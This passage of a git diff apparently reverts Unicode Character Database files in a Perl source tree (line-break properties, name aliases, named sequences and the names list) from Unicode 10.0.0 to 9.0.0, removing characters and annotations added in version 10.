GEMINATION MARK..SOYOMBO SUBJOINER -11A9A..11A9C;BA # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA0;BB # Po [3] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO HEAD MARK WITH MOON AND SUN -11AA1..11AA2;BA # Po [2] SOYOMBO TERMINAL MARK-1..SOYOMBO TERMINAL MARK-2 11AC0..11AF8;AL # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08;AL # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E;AL # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA @@ -2960,16 +2925,6 @@ FFFD;AI # So REPLACEMENT CHARACTER 11CB2..11CB3;CM # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4;CM # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6;CM # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D00..11D06;AL # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09;AL # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30;AL # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D31..11D36;CM # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A;CM # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D;CM # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45;CM # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D46;AL # Lo MASARAM GONDI REPHA -11D47;CM # Mn MASARAM GONDI RA-KARA -11D50..11D59;NU # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 12000..12399;AL # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E;AL # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12470..12474;BA # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -3016,12 +2971,10 @@ FFFD;AI # So REPLACEMENT CHARACTER 16F51..16F7E;CM # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 16F8F..16F92;CM # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F;AL # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1;NS # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0;NS # Lm TANGUT ITERATION MARK 17000..187EC;ID # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2;ID # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B0FF;ID # Lo [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2 -1B100..1B11E;ID # Lo [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB;ID # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001;ID # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A;AL # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C;AL # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88;AL # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -3179,9 +3132,7 @@ FFFD;AI # So REPLACEMENT CHARACTER 1F240..1F248;ID # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F249..1F24F;ID # Cn [7] .. 1F250..1F251;ID # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F252..1F25F;ID # Cn [14] .. -1F260..1F265;ID # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI -1F266..1F2FF;ID # Cn [154] .. +1F252..1F2FF;ID # Cn [174] .. 1F300..1F384;ID # So [133] CYCLONE..CHRISTMAS TREE 1F385;EB # So FATHER CHRISTMAS 1F386..1F39B;ID # So [22] FIREWORKS..CONTROL KNOBS @@ -3190,13 +3141,11 @@ FFFD;AI # So REPLACEMENT CHARACTER 1F3B5..1F3B6;AL # So [2] MUSICAL NOTE..MULTIPLE MUSICAL NOTES 1F3B7..1F3BB;ID # So [5] SAXOPHONE..VIOLIN 1F3BC;AL # So MUSICAL SCORE -1F3BD..1F3C1;ID # So [5] RUNNING SHIRT WITH SASH..CHEQUERED FLAG -1F3C2..1F3C4;EB # So [3] SNOWBOARDER..SURFER -1F3C5..1F3C6;ID # So [2] SPORTS MEDAL..TROPHY -1F3C7;EB # So HORSE RACING -1F3C8..1F3C9;ID # So [2] AMERICAN FOOTBALL..RUGBY FOOTBALL -1F3CA..1F3CC;EB # So [3] SWIMMER..GOLFER -1F3CD..1F3FA;ID # So [46] RACING MOTORCYCLE..AMPHORA +1F3BD..1F3C2;ID # So [6] RUNNING SHIRT WITH SASH..SNOWBOARDER +1F3C3..1F3C4;EB # So [2] RUNNER..SURFER +1F3C5..1F3C9;ID # So [5] SPORTS MEDAL..RUGBY FOOTBALL +1F3CA..1F3CB;EB # So [2] SWIMMER..WEIGHT LIFTER +1F3CC..1F3FA;ID # So [47] GOLFER..AMPHORA 1F3FB..1F3FF;EM # Sk [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6 1F400..1F441;ID # So [66] RAT..EYE 1F442..1F443;EB # So [2] EAR..NOSE @@ -3232,8 +3181,8 @@ FFFD;AI # So REPLACEMENT CHARACTER 1F517..1F524;AL # So [14] LINK SYMBOL..INPUT SYMBOL FOR LATIN LETTERS 1F525..1F531;ID # So [13] FIRE..TRIDENT EMBLEM 1F532..1F549;AL # So [24] BLACK SQUARE BUTTON..OM SYMBOL -1F54A..1F573;ID # So [42] DOVE OF PEACE..HOLE -1F574..1F575;EB # So [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY +1F54A..1F574;ID # So [43] DOVE OF PEACE..MAN IN BUSINESS SUIT LEVITATING +1F575;EB # So SLEUTH OR SPY 1F576..1F579;ID # So [4] DARK SUNGLASSES..JOYSTICK 1F57A;EB # So MAN DANCING 1F57B..1F58F;ID # So [21] LEFT HAND TELEPHONE RECEIVER..TURNED OK HAND SIGN @@ -3259,14 +3208,12 @@ FFFD;AI # So REPLACEMENT CHARACTER 1F6B4..1F6B6;EB # So [3] BICYCLIST..PEDESTRIAN 1F6B7..1F6BF;ID # So [9] NO PEDESTRIANS..SHOWER 1F6C0;EB # So BATH -1F6C1..1F6CB;ID # So [11] BATHTUB..COUCH AND LAMP -1F6CC;EB # So SLEEPING ACCOMMODATION -1F6CD..1F6D4;ID # So [8] SHOPPING BAGS..PAGODA -1F6D5..1F6DF;ID # Cn [11] .. +1F6C1..1F6D2;ID # So [18] BATHTUB..SHOPPING TROLLEY +1F6D3..1F6DF;ID # Cn [13] .. 1F6E0..1F6EC;ID # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING 1F6ED..1F6EF;ID # Cn [3] .. -1F6F0..1F6F8;ID # So [9] SATELLITE..FLYING SAUCER -1F6F9..1F6FF;ID # Cn [7] .. +1F6F0..1F6F6;ID # So [7] SATELLITE..CANOE +1F6F7..1F6FF;ID # Cn [9] .. 1F700..1F773;AL # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE 1F774..1F77F;ID # Cn [12] .. 1F780..1F7D4;AL # So [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR @@ -3280,32 +3227,28 @@ FFFD;AI # So REPLACEMENT CHARACTER 1F860..1F887;AL # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F888..1F88F;ID # Cn [8] .. 1F890..1F8AD;AL # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F8AE..1F8FF;ID # Cn [82] .. -1F900..1F90B;AL # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F90C..1F90F;ID # Cn [4] .. +1F8AE..1F90F;ID # Cn [98] .. 1F910..1F917;ID # So [8] ZIPPER-MOUTH FACE..HUGGING FACE -1F918..1F91C;EB # So [5] SIGN OF THE HORNS..RIGHT-FACING FIST -1F91D;ID # So HANDSHAKE -1F91E..1F91F;EB # So [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN +1F918..1F91E;EB # So [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F91F;ID # Cn 1F920..1F925;ID # So [6] FACE WITH COWBOY HAT..LYING FACE 1F926;EB # So FACE PALM -1F927..1F92F;ID # So [9] SNEEZING FACE..SHOCKED FACE WITH EXPLODING HEAD -1F930..1F939;EB # So [10] PREGNANT WOMAN..JUGGLING -1F93A..1F93C;ID # So [3] FENCER..WRESTLERS -1F93D..1F93E;EB # So [2] WATER POLO..HANDBALL +1F927;ID # So SNEEZING FACE +1F928..1F92F;ID # Cn [8] .. +1F930;EB # So PREGNANT WOMAN +1F931..1F932;ID # Cn [2] .. +1F933..1F939;EB # So [7] SELFIE..JUGGLING +1F93A..1F93B;ID # So [2] FENCER..MODERN PENTATHLON +1F93C..1F93E;EB # So [3] WRESTLERS..HANDBALL 1F93F;ID # Cn -1F940..1F94C;ID # So [13] WILTED FLOWER..CURLING STONE -1F94D..1F94F;ID # Cn [3] .. -1F950..1F96B;ID # So [28] CROISSANT..CANNED FOOD -1F96C..1F97F;ID # Cn [20] .. -1F980..1F997;ID # So [24] CRAB..CRICKET -1F998..1F9BF;ID # Cn [40] .. +1F940..1F94B;ID # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F94C..1F94F;ID # Cn [4] .. +1F950..1F95E;ID # So [15] CROISSANT..PANCAKES +1F95F..1F97F;ID # Cn [33] .. +1F980..1F991;ID # So [18] CRAB..SQUID +1F992..1F9BF;ID # Cn [46] .. 1F9C0;ID # So CHEESE WEDGE -1F9C1..1F9CF;ID # Cn [15] .. -1F9D0;ID # So FACE WITH MONOCLE -1F9D1..1F9DD;EB # So [13] ADULT..ELF -1F9DE..1F9E6;ID # So [9] GENIE..SOCKS -1F9E7..1FFFD;ID # Cn [1559] .. +1F9C1..1FFFD;ID # Cn [1597] .. 20000..2A6D6;ID # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A6D7..2A6FF;ID # Cn [41] .. 2A700..2B734;ID # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 @@ -3313,9 +3256,7 @@ FFFD;AI # So REPLACEMENT CHARACTER 2B740..2B81D;ID # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B81E..2B81F;ID # Cn [2] .. 2B820..2CEA1;ID # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEA2..2CEAF;ID # Cn [14] .. -2CEB0..2EBE0;ID # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 -2EBE1..2F7FF;ID # Cn [3103] .. +2CEA2..2F7FF;ID # Cn [10590] .. 2F800..2FA1D;ID # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D 2FA1E..2FFFD;ID # Cn [1504] .. 30000..3FFFD;ID # Cn [65534] .. diff --git a/lib/unicore/NameAliases.txt b/lib/unicore/NameAliases.txt index f4ba3caee5fc..4a2a15070a8b 100644 --- a/lib/unicore/NameAliases.txt +++ b/lib/unicore/NameAliases.txt @@ -1,6 +1,6 @@ -# NameAliases-10.0.0.txt -# Date: 2017-05-06, 18:10:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# NameAliases-9.0.0.txt +# Date: 2016-01-21, 22:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database @@ -262,10 +262,6 @@ 0EA3;LAO LETTER RO;correction 0EA5;LAO LETTER LO;correction 0FD0;TIBETAN MARK BKA- SHOG GI MGO RGYAN;correction -11EC;HANGUL JONGSEONG YESIEUNG-KIYEOK;correction -11ED;HANGUL JONGSEONG YESIEUNG-SSANGKIYEOK;correction -11EE;HANGUL JONGSEONG SSANGYESIEUNG;correction -11EF;HANGUL JONGSEONG YESIEUNG-KHIEUKH;correction 180B;FVS1;abbreviation 180C;FVS2;abbreviation 180D;FVS3;abbreviation @@ -293,6 +289,7 @@ 2B7A;LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE;correction 2B7C;RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE;correction A015;YI SYLLABLE ITERATION MARK;correction +FE18;PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRACKET;correction FE00;VS1;abbreviation FE01;VS2;abbreviation FE02;VS3;abbreviation @@ -309,13 +306,11 @@ FE0C;VS13;abbreviation FE0D;VS14;abbreviation FE0E;VS15;abbreviation FE0F;VS16;abbreviation -FE18;PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRACKET;correction FEFF;BYTE ORDER MARK;alternate FEFF;BOM;abbreviation FEFF;ZWNBSP;abbreviation 122D4;CUNEIFORM SIGN NU11 TENU;correction 122D5;CUNEIFORM SIGN NU11 OVER NU11 BUR OVER BUR;correction -1B001;HENTAIGANA LETTER E-1;correction 1D0C5;BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON CHROMA VASIS;correction E0100;VS17;abbreviation E0101;VS18;abbreviation diff --git a/lib/unicore/NamedSequences.txt b/lib/unicore/NamedSequences.txt index a315b42f5d06..6213419c4afd 100644 --- a/lib/unicore/NamedSequences.txt +++ b/lib/unicore/NamedSequences.txt @@ -1,6 +1,6 @@ -# NamedSequences-10.0.0.txt -# Date: 2017-04-13, 01:00:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# NamedSequences-9.0.0.txt +# Date: 2016-05-26, 00:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database @@ -37,24 +37,6 @@ # ================================================ -# Named keycap sequences for telephone keypad (used for emoji) -# Provisional, 2015-05-05 -# FE0F added to the sequences, 2016-05-11 -# Approved 2017-05-12 - -KEYCAP NUMBER SIGN;0023 FE0F 20E3 -KEYCAP ASTERISK;002A FE0F 20E3 -KEYCAP DIGIT ZERO;0030 FE0F 20E3 -KEYCAP DIGIT ONE;0031 FE0F 20E3 -KEYCAP DIGIT TWO;0032 FE0F 20E3 -KEYCAP DIGIT THREE;0033 FE0F 20E3 -KEYCAP DIGIT FOUR;0034 FE0F 20E3 -KEYCAP DIGIT FIVE;0035 FE0F 20E3 -KEYCAP DIGIT SIX;0036 FE0F 20E3 -KEYCAP DIGIT SEVEN;0037 FE0F 20E3 -KEYCAP DIGIT EIGHT;0038 FE0F 20E3 -KEYCAP DIGIT NINE;0039 FE0F 20E3 - # Latin letter plus accent combinations. # These are part of the original set of approved named sequences # for Unicode 4.1. 2005. @@ -541,7 +523,7 @@ KHMER VOWEL SIGN AAM;17B6 17C6 # Entries for JIS X 0213 compatibility mapping. # Provisional 2008-11-07, Approved 2010-05-14 -# +# # Two of these were part of the original set of approved named sequences # for Unicode 4.1. 2005. diff --git a/lib/unicore/NamedSqProv.txt b/lib/unicore/NamedSqProv.txt index 707341773be4..e3cea4f742fb 100644 --- a/lib/unicore/NamedSqProv.txt +++ b/lib/unicore/NamedSqProv.txt @@ -1,6 +1,6 @@ -# NamedSequencesProv-10.0.0.txt -# Date: 2017-04-13, 01:00:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# NamedSequencesProv-9.0.0.txt +# Date: 2016-05-26, 00:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database @@ -26,7 +26,7 @@ # in this data file, would correspond to an ISO/IEC 10646 USI # as follows: # -# <1000, 1001, 1002> +# <1000, 1001, 1002> # # For more information, see UAX #34: Unicode Named Character # Sequences, at http://www.unicode.org/unicode/reports/tr34/ @@ -40,7 +40,22 @@ # Provisional entries for NamedSequences.txt. -# Currently there are no provisional entries. +# Named keycap sequences for telephone keypad (used for emoji) +# Added to provisional named sequences, 2015-05-05 +# FE0F added to the sequences, 2016-05-11 + +KEYCAP NUMBER SIGN;0023 FE0F 20E3 +KEYCAP ASTERISK;002A FE0F 20E3 +KEYCAP DIGIT ZERO;0030 FE0F 20E3 +KEYCAP DIGIT ONE;0031 FE0F 20E3 +KEYCAP DIGIT TWO;0032 FE0F 20E3 +KEYCAP DIGIT THREE;0033 FE0F 20E3 +KEYCAP DIGIT FOUR;0034 FE0F 20E3 +KEYCAP DIGIT FIVE;0035 FE0F 20E3 +KEYCAP DIGIT SIX;0036 FE0F 20E3 +KEYCAP DIGIT SEVEN;0037 FE0F 20E3 +KEYCAP DIGIT EIGHT;0038 FE0F 20E3 +KEYCAP DIGIT NINE;0039 FE0F 20E3 # ================================================ @@ -52,7 +67,7 @@ # GURMUKHI PARI YA;0A4D 0A2F # Entry removed 2006-05-18: -# +# # LATIN SMALL LETTER A WITH ACUTE AND OGONEK;00E1 0328 # # This entry was removed because the sequence was not in NFC, diff --git a/lib/unicore/NamesList.txt b/lib/unicore/NamesList.txt index ebfd9391906d..ef838ee49f5f 100644 --- a/lib/unicore/NamesList.txt +++ b/lib/unicore/NamesList.txt @@ -1,14 +1,14 @@ ; charset=UTF-8 -@@@ The Unicode Standard 10.0.0 -@@@+ U10M170525.lst - Unicode 10.0.0 final names list. +@@@ The Unicode Standard 9.0.0 +@@@+ U90M160615.lst + Unicode 9.0.0 final names list. This file is semi-automatically derived from UnicodeData.txt and a set of manually created annotations using a script to select or suppress information from the data file. The rules used for this process are aimed at readability for the human reader, at the expense of some details; therefore, this file should not be parsed for machine-readable information. -@+ © 2017 Unicode®, Inc. +@+ © 2016 Unicode®, Inc. For terms of use, see http://www.unicode.org/terms_of_use.html @@ 0000 C0 Controls and Basic Latin (Basic Latin) 007F @@+ @@ -121,6 +121,8 @@ x (l b bar symbol - 2114) x (viewdata square - 2317) x (music sharp sign - 266F) + ~ 0023 FE0E text style + ~ 0023 FE0F emoji style 0024 DOLLAR SIGN = milréis, escudo * used for many peso currencies in Latin America and elsewhere @@ -164,6 +166,8 @@ x (asterisk operator - 2217) x (sextile - 26B9) x (heavy asterisk - 2731) + ~ 002A FE0E text style + ~ 002A FE0F emoji style 002B PLUS SIGN x (heavy plus sign - 2795) 002C COMMA @@ -197,15 +201,35 @@ @ ASCII digits 0030 DIGIT ZERO ~ 0030 FE00 short diagonal stroke form + ~ 0030 FE0E text style + ~ 0030 FE0F emoji style 0031 DIGIT ONE + ~ 0031 FE0E text style + ~ 0031 FE0F emoji style 0032 DIGIT TWO + ~ 0032 FE0E text style + ~ 0032 FE0F emoji style 0033 DIGIT THREE + ~ 0033 FE0E text style + ~ 0033 FE0F emoji style 0034 DIGIT FOUR + ~ 0034 FE0E text style + ~ 0034 FE0F emoji style 0035 DIGIT FIVE + ~ 0035 FE0E text style + ~ 0035 FE0F emoji style 0036 DIGIT SIX + ~ 0036 FE0E text style + ~ 0036 FE0F emoji style 0037 DIGIT SEVEN + ~ 0037 FE0E text style + ~ 0037 FE0F emoji style 0038 DIGIT EIGHT + ~ 0038 FE0E text style + ~ 0038 FE0F emoji style 0039 DIGIT NINE + ~ 0039 FE0E text style + ~ 0039 FE0F emoji style @ ASCII punctuation and symbols 003A COLON * also used to denote division or scale; for that mathematical use 2236 is preferred @@ -482,7 +506,7 @@ x (turkish lira sign - 20BA) x (roman semuncia sign - 10192) 00A4 CURRENCY SIGN - * other currency symbol characters: 20A0-20BF + * other currency symbol characters: 20A0-20BA x (dollar sign - 0024) 00A5 YEN SIGN = yuan sign @@ -499,6 +523,8 @@ 00A9 COPYRIGHT SIGN x (sound recording copyright - 2117) x (circled latin capital letter c - 24B8) + ~ 00A9 FE0E text style + ~ 00A9 FE0F emoji style 00AA FEMININE ORDINAL INDICATOR * Spanish # 0061 @@ -517,6 +543,8 @@ 00AE REGISTERED SIGN = registered trade mark sign (1.0) x (circled latin capital letter r - 24C7) + ~ 00AE FE0E text style + ~ 00AE FE0F emoji style 00AF MACRON = overline, APL overbar * this is a spacing character @@ -772,6 +800,7 @@ * French, medieval Hungarian orthography * uppercase is 0178 : 0079 0308 +@~ ! @@ 0100 Latin Extended-A 017F @ European Latin 0100 LATIN CAPITAL LETTER A WITH MACRON @@ -1803,7 +1832,6 @@ * semi-high front unrounded vowel * preferred IPA alternate for 0269 * uppercase is A7AE - * glyph should have top and bottom serifs even in sans serif IPA font designs, to avoid confusion with lowercase l 026B LATIN SMALL LETTER L WITH MIDDLE TILDE * velarized voiced alveolar lateral approximant * uppercase is 2C62 @@ -2264,7 +2292,6 @@ 02F1 MODIFIER LETTER LOW LEFT ARROWHEAD 02F2 MODIFIER LETTER LOW RIGHT ARROWHEAD 02F3 MODIFIER LETTER LOW RING - x (combining ring below - 0325) 02F4 MODIFIER LETTER MIDDLE GRAVE ACCENT 02F5 MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT 02F6 MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT @@ -2414,7 +2441,6 @@ * IPA: voiceless * vocalic (in Latin transliteration of Indic sonorants) * Madurese - x (modifier letter low ring - 02F3) 0326 COMBINING COMMA BELOW * Romanian, Latvian, Livonian 0327 COMBINING CEDILLA @@ -2472,13 +2498,8 @@ @ Additions 0339 COMBINING RIGHT HALF RING BELOW 033A COMBINING INVERTED BRIDGE BELOW - * IPA: apical - x (combining wide inverted bridge below - 1DF9) 033B COMBINING SQUARE BELOW - * IPA: laminal - * preferred glyph shape is a horizontal rectangle for IPA usage 033C COMBINING SEAGULL BELOW - * IPA: linguolabial 033D COMBINING X ABOVE 033E COMBINING VERTICAL TILDE = yerik @@ -2549,13 +2570,12 @@ @ Miscellaneous additions 0358 COMBINING DOT ABOVE RIGHT * Latin transliterations of the Southern Min dialects of Chinese - x (combining dot above left - 1DF8) 0359 COMBINING ASTERISK BELOW x (low asterisk - 204E) 035A COMBINING DOUBLE RING BELOW * Kharoshthi transliteration 035B COMBINING ZIGZAG ABOVE - * Latin abbreviation, Lithuanian phonetics and medievalist transcriptions + * Latin abbreviation, Lithuanian phonetics and mediaevalist transcriptions @ Double diacritics 035C COMBINING DOUBLE BREVE BELOW = ligature tie below, papyrological hyphen @@ -4464,13 +4484,10 @@ 07EF NKO COMBINING LONG HIGH TONE 07F0 NKO COMBINING LONG LOW TONE 07F1 NKO COMBINING LONG RISING TONE -@ Other diacritics 07F2 NKO COMBINING NASALIZATION MARK x (combining dot below - 0323) 07F3 NKO COMBINING DOUBLE DOT ABOVE x (combining diaeresis - 0308) -@ Tonal apostrophes -@+ These apostrophes mark elision of a vowel while preserving the tonal information of the syllable. 07F4 NKO HIGH TONE APOSTROPHE x (modifier letter apostrophe - 02BC) 07F5 NKO LOW TONE APOSTROPHE @@ -4609,31 +4626,6 @@ 085B MANDAIC GEMINATION MARK @ Punctuation 085E MANDAIC PUNCTUATION -@@ 0860 Syriac Supplement 086F -@ Syriac letters -@+ Used for writing Suriyani Malayalam, which is also known as Garshuni (Karshoni) and Syriac Malayalam. -0860 SYRIAC LETTER MALAYALAM NGA - x (malayalam letter nga - 0D19) -0861 SYRIAC LETTER MALAYALAM JA - x (malayalam letter ja - 0D1C) -0862 SYRIAC LETTER MALAYALAM NYA - x (malayalam letter nya - 0D1E) -0863 SYRIAC LETTER MALAYALAM TTA - x (malayalam letter tta - 0D1F) -0864 SYRIAC LETTER MALAYALAM NNA - x (malayalam letter nna - 0D23) -0865 SYRIAC LETTER MALAYALAM NNNA - x (malayalam letter nnna - 0D29) -0866 SYRIAC LETTER MALAYALAM BHA - x (malayalam letter bha - 0D2D) -0867 SYRIAC LETTER MALAYALAM RA - x (malayalam letter ra - 0D30) -0868 SYRIAC LETTER MALAYALAM LLA - x (malayalam letter lla - 0D33) -0869 SYRIAC LETTER MALAYALAM LLLA - x (malayalam letter llla - 0D34) -086A SYRIAC LETTER MALAYALAM SSA - x (malayalam letter ssa - 0D37) @@ 08A0 Arabic Extended-A 08FF @ Arabic letters for African languages 08A0 ARABIC LETTER BEH WITH SMALL V BELOW @@ -5115,9 +5107,6 @@ * written before the name of a deceased person @ Historic currency sign 09FB BENGALI GANDA MARK -@ Signs -09FC BENGALI LETTER VEDIC ANUSVARA -09FD BENGALI ABBREVIATION SIGN @@ 0A00 Gurmukhi 0A7F @ Various signs 0A01 GURMUKHI SIGN ADAK BINDI @@ -5238,7 +5227,6 @@ 0A74 GURMUKHI EK ONKAR * God is One 0A75 GURMUKHI SIGN YAKASH - * some fonts use an alternate glyph shaped more like the lower part of 0A2F @@ 0A80 Gujarati 0AFF @ Various signs 0A81 GUJARATI SIGN CANDRABINDU @@ -5349,14 +5337,6 @@ 0AF9 GUJARATI LETTER ZHA * used in transliteration of Avestan x (devanagari letter zha - 0979) -@ Transliteration signs -@+ Used for the transliteration of the Arabic script into Gujarati by Ismaili Khoja communities. -0AFA GUJARATI SIGN SUKUN -0AFB GUJARATI SIGN SHADDA -0AFC GUJARATI SIGN MADDAH -0AFD GUJARATI SIGN THREE-DOT NUKTA ABOVE -0AFE GUJARATI SIGN CIRCLE NUKTA ABOVE -0AFF GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE @@ 0B00 Oriya 0B7F @+ As of 2012, the name "Oriya" for this script and language is officially spelled "Odia" in India. That change in spelling does not affect the Unicode block or character names, which are constrained by stability guarantees. @ Various signs @@ -5856,7 +5836,6 @@ x (vedic sign upadhmaniya - 1CF6) @@ 0D00 Malayalam 0D7F @ Various signs -0D00 MALAYALAM SIGN COMBINING ANUSVARA ABOVE 0D01 MALAYALAM SIGN CANDRABINDU 0D02 MALAYALAM SIGN ANUSVARA * used in Prakrit language texts to indicate gemination of the following consonant @@ -5934,9 +5913,6 @@ 0D39 MALAYALAM LETTER HA 0D3A MALAYALAM LETTER TTTA * historic use only -@ Variant shape viramas -0D3B MALAYALAM SIGN VERTICAL BAR VIRAMA -0D3C MALAYALAM SIGN CIRCULAR VIRAMA @ Addition for Sanskrit 0D3D MALAYALAM SIGN AVAGRAHA = praslesham @@ -5978,7 +5954,7 @@ 0D54 MALAYALAM LETTER CHILLU M 0D55 MALAYALAM LETTER CHILLU Y 0D56 MALAYALAM LETTER CHILLU LLL -@ Dependent vowel sign +@ Various signs 0D57 MALAYALAM AU LENGTH MARK * used alone to write the /au/ dependent vowel in modern texts x (malayalam vowel sign au - 0D4C) @@ -7503,13 +7479,13 @@ 11EA HANGUL JONGSEONG SIOS-PIEUP 11EB HANGUL JONGSEONG PANSIOS 11EC HANGUL JONGSEONG IEUNG-KIYEOK - % HANGUL JONGSEONG YESIEUNG-KIYEOK + = yesieung-kiyeok 11ED HANGUL JONGSEONG IEUNG-SSANGKIYEOK - % HANGUL JONGSEONG YESIEUNG-SSANGKIYEOK + = yesieung-ssangkiyeok 11EE HANGUL JONGSEONG SSANGIEUNG - % HANGUL JONGSEONG SSANGYESIEUNG + = ssangyesieung 11EF HANGUL JONGSEONG IEUNG-KHIEUKH - % HANGUL JONGSEONG YESIEUNG-KHIEUKH + = yesieung-khieukh 11F0 HANGUL JONGSEONG YESIEUNG 11F1 HANGUL JONGSEONG YESIEUNG-SIOS 11F2 HANGUL JONGSEONG YESIEUNG-PANSIOS @@ -9254,11 +9230,9 @@ * not a format control character, but simply a hyphen for Todo x (soft hyphen - 00AD) 1807 MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER - ~ 1807 ALT1 first form (medial) 1808 MONGOLIAN MANCHU COMMA 1809 MONGOLIAN MANCHU FULL STOP 180A MONGOLIAN NIRUGU - ~ 180A ALT1 first form (medial) @ Format controls 180B MONGOLIAN FREE VARIATION SELECTOR ONE * abbreviated FVS1 @@ -9336,9 +9310,6 @@ ~ 1826 180B second form (final) ~ 1826 180C third form (medial) 1827 MONGOLIAN LETTER EE - ~ 1827 ALT1 first form (initial) - ~ 1827 ALT1 first form (medial) - ~ 1827 ALT1 first form (final) 1828 MONGOLIAN LETTER NA x (cyrillic small letter en - 043D) ~ 1828 ALT1 first form (initial) @@ -9347,30 +9318,24 @@ ~ 1828 180B second form (initial) ~ 1828 180B second form (medial) ~ 1828 180C third form (medial) - ~ 1828 180D fourth form (medial) + ~ 1828 180D separate form (medial) 1829 MONGOLIAN LETTER ANG - ~ 1829 ALT1 first form (initial) - ~ 1829 ALT1 first 